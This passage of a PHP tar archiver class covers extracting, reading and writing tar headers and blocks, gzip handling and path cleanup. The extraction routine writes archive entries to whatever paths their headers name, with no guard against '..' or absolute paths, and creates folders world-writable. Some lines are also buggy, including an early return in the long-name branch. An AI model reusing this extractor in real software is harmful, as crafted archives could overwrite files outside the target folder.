unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?>